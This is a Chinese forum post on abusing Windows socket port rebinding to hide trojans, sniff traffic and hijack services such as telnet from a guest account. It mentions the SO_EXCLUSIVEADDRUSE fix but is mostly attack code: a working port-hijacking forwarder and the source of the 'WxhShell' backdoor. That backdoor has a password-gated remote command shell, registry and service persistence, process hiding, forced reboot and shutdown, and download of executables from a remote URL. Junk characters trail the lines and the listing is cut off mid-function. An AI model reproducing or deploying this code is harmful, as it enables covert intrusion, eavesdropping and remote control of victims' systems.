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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,:6.Gi)|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E|"QYsi.Ck  
9yYNX;C  
  saddr.sin_family = AF_INET; AK//]   
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Txa 2`2t7  
1deK}5'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %zYTTPLZ  
xFA+Zj BC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5h [<!f=  
R q .2  
  这意味着什么?意味着可以进行如下的攻击: ,X)/ T!ff  
4K0Fc^-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?W\KIp \Kn  
<~hx ~"c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _+ERX[i  
#}+_Hy  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?.g="{5X  
*]>~lO1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :4x&B^,53  
MZ%S3'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %4x,^ K]  
Ij?Qs{V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 l9+)h }  
X&gXhr#dL\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tpQ8 m(  
;%mdSaf  
  #include }*|aVBvU  
  #include ZK`x(h{p)  
  #include )&[Zw{6P  
  #include    wpf  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \=j|ju3  
  int main() #&Fd16ov  
  { LM*m> n*  
  WORD wVersionRequested; :Tdl84   
  DWORD ret; +a|u,'u  
  WSADATA wsaData; asL!@YE  
  BOOL val; A",Xn/d  
  SOCKADDR_IN saddr; JpZ3T~Wrf  
  SOCKADDR_IN scaddr; 0IxHB|^$  
  int err; 98Im/v  
  SOCKET s; SD.c 9  
  SOCKET sc; K_}81|=  
  int caddsize; \79aG3MyK  
  HANDLE mt; &`}ACTY'P  
  DWORD tid;   /rnP/X)T  
  wVersionRequested = MAKEWORD( 2, 2 ); Q5c13g2(c  
  err = WSAStartup( wVersionRequested, &wsaData ); X=[`+=  
  if ( err != 0 ) { oR}'I  
  printf("error!WSAStartup failed!\n"); vFK!LeF%  
  return -1; 2$O6%0  
  } i)[~]D.EH8  
  saddr.sin_family = AF_INET; S~\u]j^%y  
   D' `[y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DIWcX<s  
@O| l A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); J\Z\q  
  saddr.sin_port = htons(23); TL@{yJ;s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3gz4c1 s^:  
  { ,%]x T>kH  
  printf("error!socket failed!\n"); fH 0&Wc3yC  
  return -1; R QCKH]&!  
  } bdyIt)tK+  
  val = TRUE; K~14;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V3[>^ZCA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x<>In"QV  
  { q&@q /9kz  
  printf("error!setsockopt failed!\n"); e[%g'}D:-  
  return -1; ktiC*|fd  
  } TN.&FDqC9  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N=;VS-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N  Bpf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6@J)k V  
L7B(abT9e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) t**o<p#)f  
  { =Cp}iM  
  ret=GetLastError(); F2Co Xe7  
  printf("error!bind failed!\n"); ' 4 Kf  
  return -1; W_ubgCB  
  } 7_]Bu<{f  
  listen(s,2); /@9-D 4  
  while(1) pd oCV  
  { sRSy++FRF  
  caddsize = sizeof(scaddr); *_tJ;  
  //接受连接请求 Z$ 6yB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H:`[$ ^  
  if(sc!=INVALID_SOCKET) E{E%nXR)  
  { K*oWcsu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &+7G|4!y  
  if(mt==NULL) Ng1uJa[k!d  
  { XkuZ2(  
  printf("Thread Creat Failed!\n"); ]F1ZeAh5  
  break; >@St Kj  
  } >TwL&la  
  } P*6&0\af|  
  CloseHandle(mt); Oxr?y8C~  
  } )Tj\ym-Vl  
  closesocket(s); r?wE;gH  
  WSACleanup(); -,} ppTG  
  return 0; M\jTeB"Z  
  }   2Ls  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5:~BGK&{Y  
  { m'ykDK\B  
  SOCKET ss = (SOCKET)lpParam; *m`KY)b=l  
  SOCKET sc; &HYs^|ydrr  
  unsigned char buf[4096]; L }&$5KiwV  
  SOCKADDR_IN saddr; VD-2{em  
  long num; /]"2;e-s+  
  DWORD val; O)9{qU:[b  
  DWORD ret; ?#_]Lzn'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l} UOg   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   K;#9: Z^+  
  saddr.sin_family = AF_INET;  XV*uu "F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9|RR;k[  
  saddr.sin_port = htons(23); $.-\2;U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1U< g  
  { M}BqSzd*  
  printf("error!socket failed!\n"); \hFIg3  
  return -1; >$p|W~x  
  } J,]U"+;H  
  val = 100; y}!}*Qj+/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BjIKs~CT  
  { |HMpVT-;j  
  ret = GetLastError(); Z4@GcdZ  
  return -1; *WpDavovyB  
  } E0a &1j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =)9@rV&~  
  { 8^%Nl `_2B  
  ret = GetLastError(); a5# B&|#q  
  return -1; U> s$}Y:+Z  
  } $E]W U?U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7iBN!"G0  
  { h$~ \to$C  
  printf("error!socket connect failed!\n"); ?\NWKp  
  closesocket(sc); ]M5w!O!  
  closesocket(ss); Q`7.-di  
  return -1; ?O<D&CvB  
  } [Oy5Td7[  
  while(1) 7;;HP`vY  
  { MUfhk)"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /htM/pR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f/6,b&l,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jsOid5bs  
  num = recv(ss,buf,4096,0); =vZF/r  
  if(num>0) jjrhl  
  send(sc,buf,num,0); sHQ82uX  
  else if(num==0) %\2w 1  
  break; 26Jb{o9Z<  
  num = recv(sc,buf,4096,0); .y~vn[qN  
  if(num>0) Z&E!m   
  send(ss,buf,num,0); .#[==  
  else if(num==0) uWE :3  
  break; \tx4bV#  
  } 3/q) %Z^=  
  closesocket(ss); QBI;aG<+b>  
  closesocket(sc); ,aBo p#  
  return 0 ; BHa'`lCb  
  } -%eBip,'yl  
z<c%Xl\$%  
pZg}7F{$  
========================================================== -@EAL:kY  
$ 'obj  
下边附上一个代码,,WXhSHELL O>H'o k  
CFU'- #b  
========================================================== P 4|p[V8  
GnzKDDH '  
#include "stdafx.h" ')mR87  
jA}b=c  
#include <stdio.h> yhpeP  
#include <string.h> p\ }Ep  
#include <windows.h> -x?I6>{  
#include <winsock2.h> $+$S}i=  
#include <winsvc.h> t5Oeb<REz  
#include <urlmon.h> O.% $oV  
:]hNw1e  
#pragma comment (lib, "Ws2_32.lib") #7}1W[y9}l  
#pragma comment (lib, "urlmon.lib") s}3`%?,6y  
m=hUHA,p4  
#define MAX_USER   100 // 最大客户端连接数 <)dHe:  
#define BUF_SOCK   200 // sock buffer ;mAlF>6]\  
#define KEY_BUFF   255 // 输入 buffer uVn"'p-  
OmR) W'  
#define REBOOT     0   // 重启 X5gI'u  
#define SHUTDOWN   1   // 关机 exHg<18WSe  
y]e[fZ`L  
#define DEF_PORT   5000 // 监听端口 R ]! [h  
-)p S\$GC  
#define REG_LEN     16   // 注册表键长度 hmQ;!9  
#define SVC_LEN     80   // NT服务名长度 L H8iHB  
+xc1cki_{  
// 从dll定义API 0<";9qN)6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (q]_&%yW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |r%NMw #y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Iz$_(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =h Lw 1~  
+-*Ww5Zti  
// wxhshell配置信息 r$ 8 ^K\oF  
struct WSCFG { >{HQ"{Q  
  int ws_port;         // 监听端口 PV\aQO.mo  
  char ws_passstr[REG_LEN]; // 口令 UTLuzm  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5u89?-UD  
  char ws_regname[REG_LEN]; // 注册表键名 #NZ#G~oeO  
  char ws_svcname[REG_LEN]; // 服务名 ^.|P&f~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p?v.42R:z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _P{f+HxU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y k{8O.g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f~0CpB*X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" # zbAA<f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ap<kK0#h  
ZZu{c t9  
}; :+q d>;yf#  
'=X)0GG  
// default Wxhshell configuration  h/*q +H  
struct WSCFG wscfg={DEF_PORT, ,|RN?1?U  
    "xuhuanlingzhe", D02(6|  
    1, G8t9Lx  
    "Wxhshell", b?kY`LC  
    "Wxhshell", 00-cT9C3  
            "WxhShell Service", psFY=^69o  
    "Wrsky Windows CmdShell Service", }83a^E9L  
    "Please Input Your Password: ", ^kO+NH40  
  1, +>}LT_  
  "http://www.wrsky.com/wxhshell.exe", (E{}iq@2  
  "Wxhshell.exe" k:QeZn(  
    }; Z)^1~!w0  
l{o,"P"  
// 消息定义模块 LpYG!Kl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {TL.2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6Lb(oY}\3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~9[O'  
char *msg_ws_ext="\n\rExit."; /f}!G  
char *msg_ws_end="\n\rQuit."; je`Ysben  
char *msg_ws_boot="\n\rReboot..."; 2t[P-on  
char *msg_ws_poff="\n\rShutdown..."; A+w'quXn  
char *msg_ws_down="\n\rSave to "; }B e;YIhG  
h0O t>e"  
char *msg_ws_err="\n\rErr!"; !y\r.fm!A  
char *msg_ws_ok="\n\rOK!"; L}a-c(G+8  
&pzf*|}  
char ExeFile[MAX_PATH]; }NJKkj?  
int nUser = 0; {)jTq??  
HANDLE handles[MAX_USER]; YT`,f*t  
int OsIsNt; {Z,_/@}N  
.C*mDi)wZ  
SERVICE_STATUS       serviceStatus; S6CI+W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -^aJ}[uaI  
[o"<DP6w  
// 函数声明 9$?Sts}6&  
int Install(void); D 0 O^=v|  
int Uninstall(void); Fd86P.Df  
int DownloadFile(char *sURL, SOCKET wsh); Iz^vt#b  
int Boot(int flag); cE;n>ta"F  
void HideProc(void); bQ3txuha  
int GetOsVer(void); (yb$h0HN  
int Wxhshell(SOCKET wsl); l@)`Q  
void TalkWithClient(void *cs); \47djmG-  
int CmdShell(SOCKET sock); lHUd<kEC  
int StartFromService(void); lz7?Z  
int StartWxhshell(LPSTR lpCmdLine); N<PDQ  
0MI4"<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .0Kc|b=w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Uc;~q-??#  
0,/I2!dF?  
// 数据结构和表定义 jQrj3*V  
SERVICE_TABLE_ENTRY DispatchTable[] = |z7V1xF  
{ yT~rql  
{wscfg.ws_svcname, NTServiceMain}, OUk"aAo  
{NULL, NULL} -3K01p  
}; -tZ~&1"  
GoLK 95"]  
// 自我安装 .He}f,!f<  
int Install(void) ^6On^k[|fw  
{ l0 8vF$k|d  
  char svExeFile[MAX_PATH]; 02_+{vk!  
  HKEY key; bu9.Hv T'  
  strcpy(svExeFile,ExeFile); GXp`yK9c  
J= [D'h  
// 如果是win9x系统,修改注册表设为自启动 T-LX>*  
if(!OsIsNt) { kV+%(Gl8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )dd1B>ej]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2 EWXr+IU.  
  RegCloseKey(key); bp!Jjct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y}]-o9Rl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]h?q1    
  RegCloseKey(key); eIJ>bM  
  return 0; 4{@{VsXN  
    } BsU}HuQZQ  
  } N; '] &f  
} njc-=o  
else { `*l aUn  
H$+@O-  
// 如果是NT以上系统,安装为系统服务 yeI> b 1>Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >UQY3C  
if (schSCManager!=0) 5a-x$Qb9  
{ 9=mc3m:Tb(  
  SC_HANDLE schService = CreateService 1<tJ3>Xl  
  ( i!x>)E  
  schSCManager, P8(hHuO  
  wscfg.ws_svcname, ^Z-oO#)h#  
  wscfg.ws_svcdisp, uzI=.j  
  SERVICE_ALL_ACCESS, ~Pj q3etk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (3"N~\9m  
  SERVICE_AUTO_START, RfOJUz  
  SERVICE_ERROR_NORMAL, 6O <UW.  
  svExeFile, 1<Sg@  
  NULL, ]rv4O@||w  
  NULL, %vv`Vx2  
  NULL, r'`7}@H*  
  NULL, MkL)  
  NULL $J^fpXO  
  ); t/}NX[q  
  if (schService!=0) ^v `naA(  
  { $AT@r"  
  CloseServiceHandle(schService); o] Xt2E  
  CloseServiceHandle(schSCManager); zak|* _  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a'-u(Bw  
  strcat(svExeFile,wscfg.ws_svcname); |r*)U(c`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ae2Q^yLA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lYTQg~aPm  
  RegCloseKey(key); d[>HxPwo  
  return 0; b[GhI+_  
    } m<49<O6o  
  } ,3!$mQL=  
  CloseServiceHandle(schSCManager); *E*oWb]H  
} D<m0G]Ht*  
} X@"G1j >/  
mU]VFPr5  
return 1; *i}X(sfe  
} .L+XV y  
D#G%WT/"  
// 自我卸载 >{N}UNZ$}  
int Uninstall(void) c:.~%AJx  
{ oNtoqYwH  
  HKEY key; fd4C8>*7G  
#1/~eIEY  
if(!OsIsNt) { V^,eW!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gfs;?vP  
  RegDeleteValue(key,wscfg.ws_regname); zGFD71=#  
  RegCloseKey(key); Z6rhInIY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MoE&)~0u&  
  RegDeleteValue(key,wscfg.ws_regname); (c>g7d<>n  
  RegCloseKey(key); W&=OtN U!  
  return 0; UrHndnqM  
  } +ID\u <?  
} 59O-"Sc[  
} o//h|fU@  
else { 0|RofL&o  
?+))J~@t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D3 yTN"  
if (schSCManager!=0) ~W[I  
{ ~L"$(^/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $'%GB $.  
  if (schService!=0) ] \M+ju  
  { `XhH{*Q"X  
  if(DeleteService(schService)!=0) { qx'0(q2Ii(  
  CloseServiceHandle(schService); c7jmzo  
  CloseServiceHandle(schSCManager); X+C*+k,z  
  return 0; a8f#q]TyQ  
  } SfnQW}RGI  
  CloseServiceHandle(schService); ?0_<u4  
  } V D~5]TQ  
  CloseServiceHandle(schSCManager); \4L ur  
} 0eNdKE  
} %W"u4 NT7  
u MEM7$o  
return 1; vY-CXWC7  
} a$ "nNmD?  
g5|~ i{"0  
// 从指定url下载文件 oGRk/@  
int DownloadFile(char *sURL, SOCKET wsh) =nGFLH6)  
{ HbegdbTJ  
  HRESULT hr; !1G KpL  
char seps[]= "/"; W!wof- 1  
char *token; $G-<kC}8:  
char *file; PqV F}  
char myURL[MAX_PATH]; ?1D!%jfi  
char myFILE[MAX_PATH]; B S*79heY  
$ ]s^M=8  
strcpy(myURL,sURL); N<9 c/V  
  token=strtok(myURL,seps); y)fMVD"(  
  while(token!=NULL) 7a1o#O  
  { ,7LfvZj4[  
    file=token; B;r_[^  
  token=strtok(NULL,seps); 3'Y-~^ml|  
  } ^Hv&{r77  
W;Y^(f  
GetCurrentDirectory(MAX_PATH,myFILE); M bWby'  
strcat(myFILE, "\\"); =I`S7oF  
strcat(myFILE, file); =mO5~~"W+v  
  send(wsh,myFILE,strlen(myFILE),0); J, -.5  
send(wsh,"...",3,0); c,xdkiy3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {^z73Gxt,  
  if(hr==S_OK) 8YFG*HSa  
return 0; #4JMb#q0E  
else r8s>s6vm  
return 1; fAgeF$9@  
rO7_K>g?  
} u%~'+=  
rx2)uUbR  
// 系统电源模块  y:RW:D&  
int Boot(int flag) F qH))2  
{ ENuL!H>;*  
  HANDLE hToken; `eM ZhY o  
  TOKEN_PRIVILEGES tkp; gz~oQ l)zJ  
WT'-.UX m  
  if(OsIsNt) { )Ka-vX)D@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S=_u3OH0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cXPpxRXBD  
    tkp.PrivilegeCount = 1; .; F<X \_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lo$G*LWu:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -qc'J<*^4  
if(flag==REBOOT) { @3.Z>KONx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e*2^  
  return 0; i1cd9  
} ij$NTY=u  
else { ubM1Qr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZaYiby@Ci  
  return 0; g8Ex$,\,  
} ,Z~`aHhr  
  } !T,<p    
  else { x4I!f)8Q  
if(flag==REBOOT) { tnJ7m8JmC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O2Qmz=%  
  return 0; MJ JC6:  
} SaXt"Ju,AH  
else { EHwb?{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) klUV&O+=%  
  return 0; ^ 8}P_  
} K1 "HJsj  
} yMNJHiE/  
TRi'l#m4  
return 1; M{J>yN  
} 9<u&27.  
z\m$>C|  
// win9x进程隐藏模块 6{I7)@>N   
void HideProc(void) v#?DWeaFS_  
{ b-_l&;NWg  
;0dH@b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &V?+Y2  
  if ( hKernel != NULL ) nLm'a_  
  { ZWCsrV*;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a fa\6]m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !igPyhi,hl  
    FreeLibrary(hKernel); @&m [w'tn  
  } NPH(v`  
z:-{Y2F  
return; GJB+] b-  
} u&l;\w  
6>WkisxG  
// 获取操作系统版本 jWUrw  
int GetOsVer(void) 9K& $8aD  
{ ^UvL1+  
  OSVERSIONINFO winfo; ~!({U nt+'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8WytvwB}  
  GetVersionEx(&winfo); 2U[/"JL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >)WE3PT/O"  
  return 1; u.2X "  
  else k{f1q>gd  
  return 0; e8`d<U  
} fz|*Plv  
D9g*+KM&  
// 客户端句柄模块 `:iMGq ZN  
int Wxhshell(SOCKET wsl) (csk   
{ sccLP_#Z  
  SOCKET wsh; gveGBi  
  struct sockaddr_in client; |B (,53  
  DWORD myID; aG7Lm2{c"  
OAkqPG&w  
  while(nUser<MAX_USER) GG#-x$jK  
{ vE[d& b[  
  int nSize=sizeof(client); I;XM4a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XO;_F"H=  
  if(wsh==INVALID_SOCKET) return 1; `lY-/Ty  
r.?dT |A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z"< S$sDh  
if(handles[nUser]==0) ;rf{T[i  
  closesocket(wsh); :7(fBf5  
else Sqp91[,  
  nUser++; L[zTT\a  
  } S_sHwObFu|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iK4\N;H  
q}_8iDO6  
  return 0; OkRb3}  
} 2po8n _  
EZWWv L  
// 关闭 socket +IXr4M&3  
void CloseIt(SOCKET wsh) Ls2,+yo]>  
{ Idu'+O4  
closesocket(wsh); eV_ ",W  
nUser--; LiEEQ  
ExitThread(0); <RxxGD  
} Nn_b  
%{ U (y#  
// 客户端请求句柄 @^0}wk  
void TalkWithClient(void *cs) !v3d:n\W8  
{ 6<z#*`U1  
<1vogUDW  
  SOCKET wsh=(SOCKET)cs; MZ)lNU l  
  char pwd[SVC_LEN]; R UCUEo63  
  char cmd[KEY_BUFF]; =?CIC%6m  
char chr[1]; VKPsg  
int i,j; )E",)}Nh  
#: EhGlq8  
  while (nUser < MAX_USER) { GfgHFv  
&x (D%+  
if(wscfg.ws_passstr) { k7JC~D E#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "S@]yL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \V~B+e  
  //ZeroMemory(pwd,KEY_BUFF); .&u @-Vm  
      i=0; ^Cp;#|g,  
  while(i<SVC_LEN) { <DqFfrpc  
zq5N@d F  
  // 设置超时 Uv k:  
  fd_set FdRead; "wVisL2+.  
  struct timeval TimeOut; )[99SM   
  FD_ZERO(&FdRead); Z2;~{$&M+  
  FD_SET(wsh,&FdRead); FS7D  
  TimeOut.tv_sec=8; >uJu!+#  
  TimeOut.tv_usec=0; Wu,=jL3?$A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8I*yS#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &gh>'z;`r  
ht\_YiDg3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =m|<~t  
  pwd=chr[0]; G=e'H-  
  if(chr[0]==0xd || chr[0]==0xa) { "Ml#,kU<T  
  pwd=0; ,H|K3nh  
  break; pw))9~XU  
  } # - L<  
  i++; Yi-,Pb?   
    } 87pu\(,'  
7iy2V;}  
  // 如果是非法用户,关闭 socket Us[F@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _or_Vw!  
} g6gwNC:aF  
KfK5e{yT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t.!?"kP"c  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c*w0Jz>@.7  
Nn0j}ZI)1  
while(1) { }V/iU_)  
~Y1nU-  
  ZeroMemory(cmd,KEY_BUFF); a/CY@V-  
iOAn/[^xk  
      // 自动支持客户端 telnet标准   3?k<e  
  j=0; zl, Vj%d  
  while(j<KEY_BUFF) { vqF=kB"P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F.Bij8\  
  cmd[j]=chr[0]; }L`Z<h*H  
  if(chr[0]==0xa || chr[0]==0xd) { &G-dxET]  
  cmd[j]=0; <UIE-#  
  break; >y!R}`&0^t  
  } 'K23oQwDB  
  j++; k/U rz*O  
    } [$]-W$j+  
D7IhNWrgj  
  // 下载文件 B_@p@6z  
  if(strstr(cmd,"http://")) { -g"Wi@Qr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >N0L  
  if(DownloadFile(cmd,wsh)) cI6Td*vM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?:5/4YC  
  else ( s+}l?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tI0D{Xrc  
  } (j%"iQD  
  else { yJw.z#bB#  
eOb)uIF  
    switch(cmd[0]) { P-Gp^JX8  
  H ~<.2b  
  // 帮助 F${}n1D  
  case '?': { F)aF.'$-/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R-k~\vCW  
    break; vgn,ZcX  
  } z  +c8G  
  // 安装 A0ZU #"'/  
  case 'i': { ASSe;+yp  
    if(Install()) X=jD^"-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;wHyX)&X $  
    else ey:%Zy [~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ##" Hui  
    break; h5n@SE>G  
    } _GoFwVO  
  // 卸载 T0o0_R  
  case 'r': { r0<zy_d'  
    if(Uninstall()) LCSJIt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uesIkJ^Q[  
    else j3R}]F'C*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =QwT)KRB%  
    break; {(d 6of`C_  
    } 7a4Z~r27/  
  // 显示 wxhshell 所在路径 nx!+: P ,  
  case 'p': { T#}"?A|  
    char svExeFile[MAX_PATH]; GG4FS  
    strcpy(svExeFile,"\n\r"); Jg&f.  
      strcat(svExeFile,ExeFile); U*BI/wZ  
        send(wsh,svExeFile,strlen(svExeFile),0); $GD Q1&Z  
    break; u`*1OqU  
    } 0 \1g-kc!v  
  // 重启 %mS>v|  
  case 'b': { iML?`%/vN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'kJyE9*xU.  
    if(Boot(REBOOT)) K7,Sr1O `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y+' ,jM  
    else { ( _MY;S  
    closesocket(wsh); ]0")iY_  
    ExitThread(0); EO/TuKt  
    } *"V) h I5  
    break; u&j_;Y!6  
    } $b )k  
  // 关机 ] $F%  
  case 'd': { uOx"oR|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BWkTQd<t  
    if(Boot(SHUTDOWN)) z|<?=c2P  
